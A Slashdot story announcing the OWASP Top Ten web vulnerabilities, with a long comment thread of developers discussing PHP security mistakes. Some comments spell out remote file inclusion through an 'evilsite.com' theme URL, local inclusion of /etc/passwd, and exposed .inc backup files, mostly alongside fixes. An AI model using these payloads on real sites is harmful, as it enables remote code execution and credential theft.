Top 10 Vulnerabilities in Web Applications

sverrehu writes "The Open Web Application Security Project (OWASP) has released a well-written document that is a must read for every web programmer out there. This security document is not about firewalls, encryption and patching. It's about common, highly exploitable errors made by the application programmers. Pick up your copy of "The Ten Most Critical Web Application Security Vulnerabilities" from the OWASP web site."

Comments

The only safe web server...

[Inflatable Hippo]

The only safe web server is an un-installed web server.

Re:The only safe web server...

[ecalkin]

well, that's not entirely true. i've found that a good physical layer firewall (not connected) is also pretty safe!

not plugged in works well also...

ecalkin

Open Source Needs People to Reuse code

[Anonymous Coward]

One thing I notice is the large numbers of people who keep making the same require() or include() mistakes in php which allow attackers to run remote code. If you look at the relevant full disclosure lists there are several of these posted every week - Scanning tools like the Qualys Scanner spend a large amount of time looking for these easily preventable bugs - there must be thousands of these.

Make open source more secure, share your experience, police each other, make M$ security look bad. When you make a security fix in code make sure you comment it - someone is probably going to copy it as an example. Don't let mistakes or inexperience spread.

Re:Open Source Needs People to Reuse code

[Anonymous Coward]

"large numbers of people who keep making the same require() or include() mistakes in php which allow attackers to run remote code"

• What mistake is that? Please elaborate.

Re:Open Source Needs People to Reuse code

[oliverthered]

I aggree, but what need to hapen first is good use of design patterns (Active X/Com on linux would make code easy to reuse).

Most people write their own code because either
1: the interface to somone else code is clumsy.
2: They can't find the code there looking for
3: The codes poorly documented, both inters of design and API.
4: Because of the above potential hastles it's quicker.

As a good exmaple there are two UHCI implementations in the 2.4 kernel usb-uhci which has crap code but works and uhci which has nice code and doesn't work that well.
A lot of the functionality is re-implemented in the OHCI module (another USB protocol).

This has been fixed in 2.5 though (but not fully intergrated with things like usnfs yet).

Re:Open Source Needs People to Reuse code

[szyzyg]

I believe hes referring to this construct.
a simple example of a bad include is

include($theme . "theme.php");

Basically is $theme isn't set then it uses some default theme, but alternate themese can be set in the url e.g.

webpage.php?theme=brushedmetal

now.....

the reason this can be dangerous is that php can include files across http urls so I could go to the page with a URL like

webpage.php?theme=http://evilsite.com/

and on evilsite.com have a theme.php file which does something like

So I get the password file spat back to me (obviously evilsite.com has to *not* run php otherwise you get the password file from evilsite.com).

Make sure you sanitise those path variables, and if you don't need it disable 'allow_url_fopen' to avoid offsite scripts being used but local files can still be manipulated. Also 'register_globals' stops the user specifying global variables which will also prevent this and other bugs .

Re:Open Source Needs People to Reuse code

[e1en0r]

one of my favorites is index.php?p=blah.php where you can easily replace blah.php with something a little more interesting, such as /etc/passwd

I've emailed several people notifying them of this problem but not one single person changed their code.

Re:Open Source Needs People to Reuse code

[Gortbusters.org]

This only occurs if you have registered globals on and you don't initialize your own variables.

I.e. you can have registered globals on, just make sure you don't have any unset variables.

This is much more easily fixed if you just have registered globals off, then everything is in the $_GET, $_POST, and $_SESSION, etc arrays.

Re:Open Source Needs People to Reuse code

[Kombat]

Yeah, your spelling IS bad. Do you code the same way? "Yeah, my code's buggy and I didn't comment anything. No one died, get over it."

Take some friggin' pride in your work, kid.

Re:Open Source Needs People to Reuse code

[oliverthered]

Umm... No. I've spent too long coding to figure out how to put words together in a way people can understand. It took years just for me to put the U back in colour.

Re:Open Source Needs People to Reuse code

[Anonvmous Coward]

"Basically is $theme isn't set then it uses some default theme, but alternate themese can be set in the url e.g."

Dude.. I'm so glad you mentioned that. Thank you.

Re:Open Source Needs People to Reuse code

[Anonymous Coward]

Just for fun kev.... /*
* Get the color parameters for the text areas.
*/
param = getParameter ("leftforeground");
if (param == null)
leftForegroundColor = Color.black;
else
leftForegroundColor = getColorFromString (param);
if (leftForegroundColor == null)
leftForegroundColor = Color.black;

param = getParameter ("leftbackground");
if (param == null)
leftBackgroundColor = Color.white;
else
leftBackgroundColor = getColorFromString (param);
if (leftBackgroundColor == null)
leftBackgroundColor = Color.white;

param = getParameter ("rightforeground");
if (param == null)
rightForegroundColor = Color.black;
else
rightForegroundColor = getColorFromString (param);
if (rightForegroundColor == null)
rightForegroundColor = Color.black;

param = getParameter ("rightbackground");
if (param == null)
rightBackgroundColor = Color.white;
else
rightBackgroundColor = getColorFromString (param);
if (rightBackgroundColor == null)
rightBackgroundColor = Color.white;

param = getParameter ("foreground");
if (param == null)
rightForegroundColor = Color.black;
else
rightForegroundColor = getColorFromString (param);
if (rightForegroundColor == null)
rightForegroundColor = Color.black;

param = getParameter ("background");
if (param == null)
rightBackgroundColor = Color.white;
else
rightBackgroundColor = getColorFromString (param);
if (rightBackgroundColor == null)
rightBackgroundColor = Color.white;

ouch /*
refactor kombats code to make the initilisation smaller and look nicer, as well as preventing copy-paste errors.
*/

final static Color GetColourFromParam(String paramname,Colour default){
Color colReturnValue;
param = getParameter(paramname);
if(param == null){
colReturnValue=default;
}else{
colReturnValue=getColorFromString(param);
}
if(colReturnVales==null){
colReturnValue=default;
}
return colReturnValue;
}

leftForegroundColor=GetColourFromParam("leftfore gr ound",Colour.black);
leftBackgroundColor=GetColou rFromParam("leftbackgr ound",Colour.white);
etc......

Re:Open Source Needs People to Reuse code

[NanoGator]

"the reason this can be dangerous is that php can include files across http urls so I could go to the page with a URL like

webpage.php?theme=http://evilsite.com/

and on evilsite.com have a theme.php file which does something like

So I get the password file spat back to me (obviously evilsite.com has to *not* run php otherwise you get the password file from evilsite.com)."

Heh you just solved a mystery for me. I hang out at a 3D art forum that is visisted by both ameteurs and professionals. One guy (who owns a studio) played an interesting prank on us. He linked to Microsoft's site which had a press release about how his studio was bought by MS to make XBOX games.

He fessed up later that it was a hoax, but I didn't understand how he did it until I read what you said.

Ha that's funnny. Now I haveta look over my PHP code...

Re:Open Source Needs People to Reuse code

[szyzyg]

Indeed - it only occurs in those cases - but this is an awful lot of cases

phpBB 1 & 2,W-Agora,Active PHP Bookmarks,PHP Nuke, phpWebSite,phpshare,phpReactor......

It's all very well for you to act all knowledgeable, classify this as a sillly misytake and look down on those people making it - but that doesn't help make any software more secure - get out ther and educate people.

Re:Open Source Needs People to Reuse code

[Anonymous Coward]

It isn't just a matter of register_globals being on or off. While that's one more way security bugs might slip through, it's secondary to the parent poster's point.

include($theme . "theme.php");
include($_GET['theme'] . "theme.php");
include($_POST['theme'] . "theme.php");
include($_COOKIE['theme'] . "theme.php");

Those are all equally dangerous.
$_SESSION would also be as bad, if you put unverified data in it.

Re:Open Source Needs People to Reuse code

[Anonymous Coward]

How about:
...
outer:
while (isAlive) {

while (!shouldRefresh) {
try {
this.thread.sleep (DataLoader.DELAY);
if (!isAlive) {
break outer;
...
The dude's bitching about quality and he's got fucking GOTOs in his code.

Re:Open Source Needs People to Reuse code

[hawkbug]

Another funny thing I see on websites written in php is the famous .inc whole. What I mean is, people will stick code in a file called whatever.inc. If you go to www.basilix.org, you'll see a very popular webmail program there. If you know another site that uses it - and you looked at the source for this app, you would then know the default names of the .inc include files, containing things like admin passwords, etc. When you would type that file in as a url, and apache wasn't told how to handle that .inc extension, you get all their variables spit out on screen... not a good thing. So, a lot of people really should set up apache (or whatever web server) to handle include file extensions as php, so you can't see their passwords, etc.

Re:Open Source Needs People to Reuse code

[e1en0r]

The same thing goes for backup file extensions, such as .php~. The first thing I do when I set up Apache is to make it parse those files as PHP just in case. You'd be amazed at how many peole have vulnerable files like that just lying around. Try looking for index.php~ and you can often find all kinds of stuff from there.

Re:Open Source Needs People to Reuse code

[killthiskid]

I aggree, but what need to hapen first is good use of design patterns (Active X/Com on linux would make code easy to reuse).

Ack. ActiveX/COM on linux? Why in gods name would we want to use one of the most bastardized microsoft ideas EVER?

I'll be the first to agree with you code reuse is a very good thing, but COM is not the answer to that problem.

And yes, I have used COM. In Visual Basic and Visual C++. I've written COM objects in ATL in C++ (and VB, but everything is COM in VB). The main problem with COM is it comes close enough to being usable as to make it really frustrating.

Not to mention the way warped way you use COM objects in C++. Or threading issues. or about 4000 other thing wrong with it.

It has been a few years. Maybe it is better now.

Re:Open Source Needs People to Reuse code

[Anonymous Coward]

> obviously evilsite.com has to *not* run php otherwise you get the password file from evilsite.com

Incorrect. This works even if evilsite.com is running PHP. The original site includes the output of the evil URL, so evilsite just needs to print a PHP script. This can be done in PHP code.

// Ulf Harnhammar, VSU Security

Re:Open Source Needs People to Reuse code

[Anonymous Coward]

Hell. Yes.

It's strange that Mr Gort there got modded up for that bollocks. His answer has nothing to do with this scenario.

Re:Open Source Needs People to Reuse code

[Kombat]

1. There is no "GOTO" in that code. That's called a targeted break.
   
2. I wrote that code 6 years ago, when I was still in university.
   

Re:Open Source Needs People to Reuse code

[Gortbusters.org]

Obviously you want $theme as a variable that comes out of a trusted data store. The point is that $theme isn't taken out of the global domain and then just stuck into an include. You take the preference change off of a page, and then you validate it with a trusted store... then you include.

You might have a table that lists all the themes, and then under then the user record holds the current theme they select.

In regards to $_SESSION, that does not put anything client side other than a session ID. All variables are stored locally, either in memory (with mm extension), flat file (by default), or in a database [forget where I saw how to do this, but I'm pretty sure you can set the storage location to a DB].

Re:Open Source Needs People to Reuse code

[ProfKyne]

Even though PHP doesn't enforce it, it is always good practice to initialize your variables in any language. That stops the URL-based attack cold (though register_globals can help you remember the namepaces of your variables).

Re:Open Source Needs People to Reuse code

[oliverthered]

OK, Com is very complex.
You can access it in many ways and when done well you can improve threading models.

I should have said com-like
KDE uses dcop, Mozilla uses XPCOM, and there Corba in Gnome.

COM(likes) provide a good interface definition model (with inheritance), and are quite easy to use. god knows what interfaces libgif, libpng, libjpeg etc... use, i hope it's the same.

Re:Open Source Needs People to Reuse code

[Anonymous Coward]

You're still a cunt though!

Re:Open Source Needs People to Reuse code

[killthiskid]

COM(likes) provide a good interface definition model (with inheritance)

You say that COM supports inheritance. I disagree.

According to google, the defininition of inheritance:

-programming, object-oriented- In object-oriented programming, the ability to derive new classes from existing classes. A derived class (or "subclass") inherits the instance variables and methods of the "base class" (or "superclass"), and may add new instance variables and methods. New methods may be defined with the same names as those in the base class, in which case they override the original one.

I would say that COM allows you to implement a COM interface, i.e. expose a defined set of methods, variables, etc... but true inheritence is one of those things it sorely lacks.

From http://www.chappellassoc.com/articles/article_Intr o_ActiveX.html

COM objects exhibit the traditional characteristics of object technology: encapsulation, polymorphism, and even, counter to a widespread misconception, inheritance (although COM supports only interface inheritance, not inheritance of an object's actual implementation).

I guess you could argue the definition of inheritance all day, but, too me, from a practical everyday use, this is not 'inheritance' in the true OOP sense. While you can reuse a COM interface, you are still forced to rewrite the code behind the interface, even if you are just passing through to the original object you are attempting to extend.

Re:Open Source Needs People to Reuse code

[Anonymous Coward]

Doesn't PHP have the equivalent of Perl's "taint" switch (-T), which forces the programmer to "validate" any variable set externally?

Re:Open Source Needs People to Reuse code

[Anonymous Coward]

Obviously though this would only affect you if you're the kind of twonk that edits their php code live rather than on some sort of development box before uploading.

Re:Open Source Needs People to Reuse code

[The Snowman]

An even better solution is to configure Apache via httpd.conf or .htaccess not to serve those files. I am meticulous about deleting backup (.php~) files, and Apache is configured to return 403 Forbidden on *.inc. Even if you know the names of my include files, you cannot view them. This is a better solution than instructing Apache to parse them as PHP. You'll wind up with a broken page that way.

The beauty of configuring Apache to disallow these files is PHP can still access them locally, but any remote script or browser will not be able to use them.

Re:Open Source Needs People to Reuse code

[The Snowman]

I would say that COM allows you to implement a COM interface, i.e. expose a defined set of methods, variables, etc... but true inheritence is one of those things it sorely lacks.

If I remember correctly, the idea behind COM is not to implent a full-featured object-oriented model. It is designed to provide interfaces that allow for backwards and forwards compatibility mostly in libraries. It is akin to the "interface" keyword in Java, not the "implements" keyword. You can still use full object-oriented programming concepts in C++ using COM. Granted the COM interface may make things kludgy and awkward, but it is certainly possible.

Re:Open Source Needs People to Reuse code

[Anonymous Coward]

+99 funny.....

Re:Open Source Needs People to Reuse code

[Anonymous Coward]

An even better solution is to configure Apache via httpd.conf or .htaccess not to serve those files. I am meticulous about deleting backup (.php~) files, and Apache is configured to return 403 Forbidden on *.inc.

How do you do this?

Re:Open Source Needs People to Reuse code

[syd02]

I've emailed several people notifying them of this problem but not one single person changed their code.

If you aren't able to get their passwd file, don't be emailing people about this. Assuming that blah.php is in the same directory as index.php, index.php?p=/etc/passwd would probably be a site-root relative link to http://host/etc/passwd

Maybe it depends on the script, but in most cases you would probably just get a 404 message. PHP isn't quite as stupid as you might think it is.

Re:Open Source Needs People to Reuse code

[e1en0r]

First of all, I don't think PHP is stupid. I've been a PHP programmer professionally for several years now and I know how and why it works like this. It's not PHP's stupidity that I wrote about, it's user error that's the problem.

I've been able to see several people's /etc/passwd files this way. I'm not going to provide specific examples, but trust me that it can be done. What happens is that people use include($p) or require($p) but don't include from the document root or check for valid paths, so you can include anything with read permissions from any directory.

Re:Open Source Needs People to Reuse code

[sholden]

Order allow,deny
Deny from all
</Files>

<FilesMatch "\.php~$"> if you want to be more modern. Note that the stand alone ~ turns on regular expressions, and has nothing to do with matching ~s in file names.

It's almost certain you apache configuration has a similar rule for .htaccess files, which you should be able to copy-n-paste...

Of course you might want to be more restrictive than just .php~, anything ending in ~ is fair game to be disallowed to me...

Substitute for .inc, if that's what you were actuallyasking...

Re:Open Source Needs People to Reuse code

[syd02]

Ok, I didn't know what "p" was. If you're talking about variable includes/requires with register_globals turned on, then I would agree...that's incredibly stupid.

It's just hard to believe that anyone could actually have coded something like that without thinking first. It's especially difficult to imagine someone using something like that in a query string for all to see.

Summary

[robbyjo]

1. Unvalidated Parameters
2. Broken access control
3. Broken account and access management
4. Cross-site scripting (XSS) flaws
5. Buffer overflows
6. Command injection flaws
7. Error Handling problems
8. Insecure use of cryptography
9. Remote administration flaws
10. Web and application misconfiguration

Re:Summary

[Anonymous Coward]

Ya, but it's missing...

11. Using .NET

Re:Summary

[mcmonkey]

In other words, "See last year's list." Last year's list=="See last year's list."

While this is stuff that matters, it certainly isn't news. Folks have been making the same sloppy mistakes and careless oversights since AOL was trading at $140/share. (And that's a long time ago.)

I cringe whenever I hear someone go on about how easy ecommerce is. Yeah, easy to screw up.

Re:Summary

[KDan]

Hmm... looks mostly like finger-pointing to me. Not really very useful. Most of the time if I let these sorts of vulnerabilities as part of my web apps it's because I don't have the time to code them properly, not because I'm not aware of them. Like now, I'm writing shitty ASP code because I have to get it out ASAP. Even there I'm making a token attempt at checking parameters, but what I'm doing is just a small part of a site programmed by an amateur. I don't have time to fix their entire site, and even if they are aware that these are potential flaws in their web site they don't have time to do this either.

In an ideal world, we'd all have time to write perfect apps, but in that ideal world there probably wouldn't be script kiddies either.

Daniel

Re:Summary

[stevey]

To that I'd add:

11. Storing things needlessly upon the server, eg credit cards numbers.

12. Running a database on the same machine, not in a DMZ - and having it remotely connectable.

12. Source code disclosure errors which allow attackers to study your application for flaws.

13. Improper filtering of user input, eg javascript. (Kinda xss I guess).

Re:Summary

[bwalling]

Err, #1, #5, and #6 can be summarized as: Don't trust user input.

Re:Summary

[Anonymous Coward]

3b. Slashdot Links (insufficient access capabilities)

Re:Summary

[Anonvmous Coward]

"While this is stuff that matters, it certainly isn't news. Folks have been making the same sloppy mistakes and careless oversights since AOL was trading at $140/share. (And that's a long time ago.)"

I'm gonna haveta defend Slashdot here. It may not be news, but /. babbles on and on about security and rarely goes into detail like this about what we can do about it. I only picked up PHP a year ago and just from reading some of the posts here, I've gone back over code I've written to make sure I didn't make those mistakes.

Just because it's not a new topic doesn't mean it's not new to some people. Frankly, I'd rather read old articles like this than the usual finger pointing at Microsoft.

Re:Summary

[mcmonkey]

"While this is stuff that matters, it certainly isn't news. Folks have been making the same sloppy mistakes and careless oversights since AOL was trading at $140/share. (And that's a long time ago.)"

That was not meant as a swipe at /. or OWASP. Although these issue have been around for a while, they certainly are still issues, and there are many admins who (for some reason) don't take even the most basic steps to secure thier servers.

For some of the scripting vulnerabilities, while the solutions are generally simple, they may not be obvious.

However, web sites are still open to attacks 6 months after the vendor posts the hotfix or security patch. Some people make an honest mistake; some people just aren't trying.

Re:Summary

[ConceptJunkie]

A number of these are just common sense, applicable to all programming.

I found a small software vendor who included the price in the URL of theproduct you are ordering. I was able to modify the prices in the shopping cart at will, of course I did not try to exploit that, but I e-mailed both the vendor and the people who made the shopping cart.

Neother seemed particularly concerned. The vendor responded that all orders are eyeballed by people, problems wouldn't occur. I suppose if you changed all the prices to 1 cent, sure. But what if you just gave yourself a nice little discount?

The fact of the matter is that a lot of developers (and even users) don't seem really concerned (at least until someone screws them over...).

Re:Summary

[haystor]

How is your #12, of itself, a security flaw?

Re:Summary

[haystor]

oops, nevermind. just read the second part of #12, which for some reason wasn't wrapping in my browser a minute ago.

Re:Summary

[stevey]

In itself it is not - but it's certainly not a setup I'd recommend.

I have seen db's out, unprotected on the internet - they're just asking for somebody to try bruteforcing passwords.

(Especially given that this typically won't be logged in the same way that ssh/ftp bruteforcing attempts would be).

Re:Summary

[theCat]

Don't hear too much about anyone using these 'sploits, and they've been around forever. Anyone out there running a PHP site been whacked around this way?

But I'll admit I do have register_globals turned off. Some doors you just can't imagine leaving wide open.

Re:Summary

[larien]

Not trusting user input is one of the major things in Web apps. A few years back, while I was working at a University, a lecturer said that Javascript form checking was a great idea as it meant that you didn't have to check at the server side.

That theory didn't last long with her as I pointed out the flaws.

That said, the client side form checking is a useful tool, as it saves the incorrect data being sent and thus (a) saves the user time and (b) saves server-side CPU. Client side checking is optional, but desirable; server-side checking is mandatory.

Re:Summary

[The Snowman]

Don't hear too much about anyone using these 'sploits, and they've been around forever. Anyone out there running a PHP site been whacked around this way?

I run two sites with PHP and to test security, I use a few common sense computer science techniques:

• Bad GET data: I tried manipulating variable via the URL line. POST data is a bit tougher, as I need a UA that can manipulate it and don't know of one.
• Register Globals: since I don't have control over the physical server, I cannot turn this option off. However, I always use the full names, i.e. $_GET['data'] instead of $data. This helps with namespace collisions, for example, having POST and COOKIE variables with the same name. I used gvim's search feature since it highlights matches, and manually checked each variable to ensure it adheres to this standard. Whenever I use a global variable, I make sure I set it myself first just in case.
• Taint checking: this is one Perl feature I sorely miss in PHP. I do a lot of manual grunt work to "emulate" it though. I thoroughly validate each variable the user can directly or indirectly manipulate. Usually I use the contents of a user variable to set a separate internal variable, flagging error conditions such as data that cannot be entered on a form. Who knows, maybe this will prevent buffer overrun errors in MySQL too.
• Code Review: I remember reading a while ago about the unmatched security of OpenBSD, and that it was because of aggressive code reviews and tightly controlled release schedules. While my web sites don't mean a damn compared to OpenBSD, I still take after the OpenBSD team and review my code on a regular basis. I cannot tell you how many times I have caught bugs and errors that I did not see just the day before. You cannot find bugs if you do not look for them!

Security is not something that you can rely on other people to do for you: you will be let down. No matter how secure the tools are, you need to check things yourself.

Re:Summary

[bnenning]

# POST data is a bit tougher, as I need a UA that can manipulate it and don't know of one.

curl

Re:Summary

[shogun]

Bad GET data: I tried manipulating variable via the URL line. POST data is a bit tougher, as I need a UA that can manipulate it and don't know of one.

Never tried telnet?

Re:Summary

[Anonymous Coward]

So can #4.

Re:Summary

[sg_oneill]

I wouldnt try relying on POST to hide GET vunerabilities....

The simplest way 'round that is to save the page, rewire relative urls to point to original server and then misconfigure those posts to your hearts content and run the page off your own box....

It's devastatingly effective (I've tested this on a few boxes to play silly pranks like getting a box to output a photo and changing the name on the photo to "Real ugly!" Ie showmug.php?photo=bill.jpg&name=Real%20Ugly!!! ! (but in post format).. All too easy sadly enuff.

Re:Summary

[sg_oneill]

Oh god! That reminds me...... For a truly horrifying google experience look for "usernames" or "passwords" with file type .db or .mdf

Then shudder at the cosmic stupidity of a world of random roadkill.

Re:Summary

[The Snowman]

I wouldnt try relying on POST to hide GET vunerabilities

I do not do this. I want to test corrupt POST data like I can with GET. I don't want to obscure input.

The original idea behind POST was to input data to a page but in a way that cannot be bookmarked and to have the page be volatile. Conversely, GET's purpose was to have a (relatively) static page, for example, results from a query. POST was for input, GET for output, roughly. I try to adhere to this methodology, since it does work even if in modern times a large number of web sites blur the lines and overtly don't care about the rules.

Re:Summary

[The Snowman]

Register Globals: since I don't have control over the physical server, I cannot turn this option off.

I found in the PHP documentation that you can turn PHP INI options on and off at runtime. For example, you can turn off register globals like so:

ini_set ('register_globals', '0');

Vulnerability #11

[Znonymous Coward]

Microsoft .NET and IIS.

Re:Vulnerability #11

[mstyne]

It's funny because Microsoft = bad!

P.S. They also like money!!

Re:Vulnerability #11

[Anonymous Coward]

Yeah, we all know how Apache running on Redhat never gets rooted.

Re:Vulnerability #11

[The Bungi]

It's funny because Microsoft = bad!
P.S. They also like money!!

Welcome to Slashdot. A few pointers:

• When referring to The Evil Empire, please use '$' instead of 's'. This holds true even if your currency symbol happens to be different as we are USA centric here.
• When using operator overloading to make a point, please use C syntax, as C is the language of the 1337 h^x0r. The statement above is assigning bad to Micro[$]oft instead of testing for equality. Thus, the syntax should be Micro[$]oft == bad!. In most cases, syntactical errors like these will get you tagged as a BASIC programmer, which is a Bad Thing (TM)
• When using more than one exclamation sign at the end of a sentence related to Micro[$]oft, please use the normative money!!1! syntax by inserting a gratuitous 1 (one) character.

Other than that, please feel free to explore the site. Check out the journal features and keep that karma ticker open at all times.

Thanks!

Re:Vulnerability #11

[Anonymous Coward]

no, you fucking STUPID yank twat. The worst one is slashdot, with it's DoS++ technique.

I bet you're a linux kiddie, with no real grasp of what UNIX really is.

wanker.

Re:Vulnerability #11

[Znonymous Coward]

I happen to work in UNIX, actually Unix (IBM AIX 4.3.3 and 5.1.0). I'm also an IBM AIX certified adminstrator. What is your fax number? I'll fax you a copy of my resume and certifications.

wanker.

Did you read that press release??!!??

[mcmonkey]

"I like my web servers just like my women...insecure and full of holes waiting to be exploited." --Bill G.

Re:Did you read that press release??!!??

[Anonymous Coward]

There are three important things to remember in this world

1: Regret is a funny thing. It's better to regret something you did do then something you didn't do.

2: Every woman is single for a night

3: Love dosen't mean having to never say your sorry. Paying does.

Excellent Resource

[core plexus]

In my opinion, this is a "Must-Read" for anyone charged with web development and especially security. I just downloaded the guide in PDF format, and I find it an excellent read. Win $1 Million in Army Robotics Contest

This is news?

[Quasar1999]

Come on, Microsoft has listed these problems for years now... in the form of Service packs and hot fix descriptions... Sure it wasn't in a bullet form list... but each description had at least one thing from the list...

The real problem is lack of time to properly test code. Somehow in modern businesses, very little time is allocated to GOOD, extensive, useful testing for vulnerablities in apps.

Re:This is news?

[m0rph3us0]

Testing shouldn't be an end phase part of development. If you design your application to be testable and test each component rigorously as development progresses the end result is a much more secure piece of software. If you allocate 6 months at the end of dev to secure your software you will be looking at a nightmare.

Re:This is news?

[Anonymous Coward]

Agreed and agreed. You can't expect to go back over an application and find all the possible vulnerabilities. Prevention is the best policy. *At the time* you're writing the code, you have to constantly be asking yourself: a) What am I relying on here and b) what could go wrong here?

This applies nicely to the prevention of bugs as well as security holes.

Re:This is news?

[raduf]

Ay, testing code is important (especially if you use something like XP :) but what works best for me is just reading the code. This usually gets rid of most of the bugs before compiling.

Re:This is news?

[Woodrose]

I like the extreme programming technique of writing a failing test case first; you deliver when the test case no longer fails. Good discipline, been using it for years.

Nice Start

[PNut_Head]

It's a nice start and definately points out some things developers should be aware of. But how about someone puts together a more specific checklist/tutorial for each point and write it around their favorite development language (PHP, ASP (cough), etc.). Who's not busy?

Re:Nice Start

[Slorf]

The only problem with that idea is that you'd need to have someone do that for every language used for web development. The top ten document is actually a much better approach, because it is not language specific. It important to understand the problem, no just follow a checklist. By becoming educated on these particular vulnerabilities, you'll gain a better understanding of web security in general, and may be able to recognize other potential security flaws when you stumble across them.

Re:Nice Start

[twofidyKidd]

Good idea. I'm sitting here at work waiting for REAL stuff to do, I might as well occupy my time constructively. I use Cold Fusion and PHP mostly with IIS and Apache, respectively. I know lots of people dislike Cold Fusion, PHP or both in favor of perl or something, but the way I see it, languages, OSes and server apps are all tools, a means to an end. If you don't like it, fine, don't use it, but someone, somewhere has it deployed as their solution and its working great for them.

Re:Nice Start

[PNut_Head]

I agree with you wholeheartedly that the top ten document is a great approach. And it is something I'm going to bookmark and I may even send out to my co-workers and associates.

However, I don't think it would be that big an effort to write a checklist of things to look for (things to avoid) for most, if not all popular web scripting languages, cgi languages, servlet containers, etc., for the top ten document. If everyone picks their favorite (I've got two of 'em) and gets together with other enthusiasts, I would be willing to bet that every language worth using will be covered. Then developers can share these documents on various development sites to inform those of us who may not be as familiar with the caveats or gotchas in languages that we don't use all the time.

Even if I know the top ten list by heart, and am familiar with all the general things to look for, I may or may not know that the use of one function or method in any particular language is preferred over another because of security concerns, reliablity, efficiency, etc.

Re:Nice Start

[Anonvmous Coward]

"It's a nice start and definately points out some things developers should be aware of. But how about someone puts together a more specific checklist/tutorial for each point and write it around their favorite development language (PHP, ASP (cough), etc.). Who's not busy?"

"I'm forming a team to identify dead weight in this company. Any volunteers?"

Re:Nice Start

[adamofgreyskull]

Exactly what I think this is trying to finish.

Of course it confuses things by having been written before this list was published...time-travel can be so damn confusing sometimes :)

Re:Nice Start

[Skidge]

Here's a (somewhat old) document detailing some common PHP exploits and vulnerabilities.

A Study in Scarlet

It was written with PHP 4.0.something in mind, but a lot of the stuff can still be applied to the latest versions out there.

Re:Nice Start

[Anonymous Coward]

OWASP has a Guide which is the chunkier version of this. The next release has code samples in Java.

The Biggest Issue

[sickboy_macosX]

"Hey this application is being run through a firewall, it must be safe" Thats the problem, if you are going to build applications for the web that are useful, you need to build it so it is Safe to run and you dont have worry the end user about what could happen That and we need to kill all the script kiddie hackers.....

Re:The Biggest Issue

[m0rph3us0]

People complain about script kiddie hackers but what does it say about us developers if those script kiddie idiots can defeat our security? I think if we are as brilliant as we think we are that we can easily find ways of defeating script kiddies.

#11

[Anonymous Coward]

Misconfigured Users

Re:#11

[Anonymous Coward]

> Misconfigured Users

Translated for those of you who are admins, not coders: layer 9 problems ;-)

Re:#11

[Anonymous Coward]

I'm both. What the fuck does that mean?

Layer 9? Is that some sort of MCSE humor?

Re:#11

[Anonymous Coward]

Cf the OSI model.

quick reminder..

[Anonymous Coward]

..to those who didnt bother to read the article, it has these lines in it:

This security document is not about firewalls, encryption and patching. It's about common, highly exploitable errors made by the application programmers.

which means every post thats about IIS, Micro$oft, m$, microshaft and god knows what other words you use to make you look like an idiotic open source fanatic with no sense of reality are offtopic.

Already bogging down, here's the text...

[japhar81]

The Open Web Application Security Project (OWASP) is dedicated to helping organizations understand and improve the security of their web applications and web services. This list was created to focus government and industry on the most serious of these vulnerabilities. Web application security vulnerabilities are highly exploitable and the consequence of an attack can be devastating. These vulnerabilities represent an equivalent magnitude of risk as network security problems, and should be given the same degree of attention.

Using this list, organizations can send a message to web site developers that "we want you to make sure that you won't make these mistakes." The security issues raised here are not new. In fact, some have been well understood for decades. Yet for some reason, major software development projects are still making these mistakes and jeopardizing not only their customers' security, but also the security of the entire Internet. You can download the entire report in PDF format here

Top Vulnerabilities in Web Applications

A1
Unvalidated Parameters
Information from web requests is not validated before being used by a web application. Attackers can use these flaws to attack backside components through a web application.

A2
Broken Access Control
Restrictions on what authenticated users are allowed to do are not properly enforced. Attackers can exploit these flaws to access other users' accounts, view sensitive files, or use unauthorized functions.

A3
Broken Account and Session Management
Account credentials and session tokens are not properly protected. Attackers that can compromise passwords, keys, session cookies, or other tokens can defeat authentication restrictions and assume other users' identities.

A4
Cross-Site Scripting (XSS) Flaws
The web application can be used as a mechanism to transport an attack to an end user's browser. A successful attack can disclose the end user's session token, attack the local machine, or spoof content to fool the user.

A5
Buffer Overflows
Web application components in some languages that do not properly validate input can be crashed and, in some cases, used to take control of a process. These components can include CGI, libraries, drivers, and web application server components.

A6
Command Injection Flaws
Web applications pass parameters when they access external systems or the local operating system. If an attacker can embed malicious commands in these parameters, the external system may execute those commands on behalf of the web application.

A7
Error Handling Problems
Error conditions that occur during normal operation are not handled properly. If an attacker can cause errors to occur that the web application does not handle, they can gain detailed system information, deny service, cause security mechanisms to fail, or crash the server.

A8
Insecure Use of Cryptography
Web applications frequently use cryptographic functions to protect information and credentials. These functions and the code to integrate them have proven difficult to code properly, frequently resulting in weak protection.

A9
Remote Administration Flaws
Many web applications allow administrators to access the site using a web interface. If these administrative functions are not very carefully protected, an attacker can gain full access to all aspects of a site.

A10
Web and Application Server Misconfiguration
Having a strong server configuration standard is critical to a secure web application. These servers have many configuration options that affect security and are not secure out of the box.

Press Release
Washington, D.C. -- A new report detailing the ten most critical web application security problems was unveiled today by the Open Web Application Security Project. OWASP is dedicated to helping organizations understand and improve the security of their web applications and web services. Download the report from the OWASP website at http://www.owasp.org.

"The OWASP Top Ten list shines a spotlight directly on one of the most serious and often overlooked risks facing government and commercial organizations," said Jeffrey Williams, CEO of web application security firm Aspect Security. "A stunning number of organizations spend big bucks securing the network and somehow forget about the applications."

These flaws are surprisingly common and can be exploited by unsophisticated attackers with easily available tools. When an organization deploys a web application, they invite the world to send HTTP requests. Attacks buried in these requests sail past firewalls, filters, platform hardening, SSL, and IDS without notice because they are inside legal HTTP requests. Therefore, web application code is part of the security perimeter and cannot be ignored.

"This list is an important development for consumers and vendors alike," said Stephen Christey, Mitre CVE editor. "It will educate vendors to avoid the same mistakes that have been repeated countless times in other web applications. But it also gives consumers a way of asking vendors to follow a minimum set of expectations for web application security and, just as importantly, to identify which vendors are not living up to those expectations"

"This 'Ten-Most-Wanting' List acutely scratches at the tip of an enormous iceberg," said Peter G. Neumann, moderator of the ACM Risks Forum. "The underlying reality is shameful: most system and Web application software is written oblivious to security principles, software engineering, operational implications, and indeed common sense."

The Open Web Application Security Project (OWASP) is an Open Source community project staffed entirely by volunteer experts from across the world. Project chair Mark Curphey said, "the OWASP Top Ten Project was formed to capture our collective wisdom and present it in a way that would bring the attention web application security deserves."

Questions or comments about the OWASP Top Ten should be sent to: topten@owasp.org

Re:Already bogging down, here's the text...

[Anonymous Coward]

whore whore whore whore

Wait just a minute!

[Jonboy X]

So, you're telling me that I *shouldn't* write web apps with remote exploits, buffer overflows and generally crappy security?!?!? Well color me flabbergasted!

Direct link to report

[Anonymous Coward]

Here.

Vulnerability #12

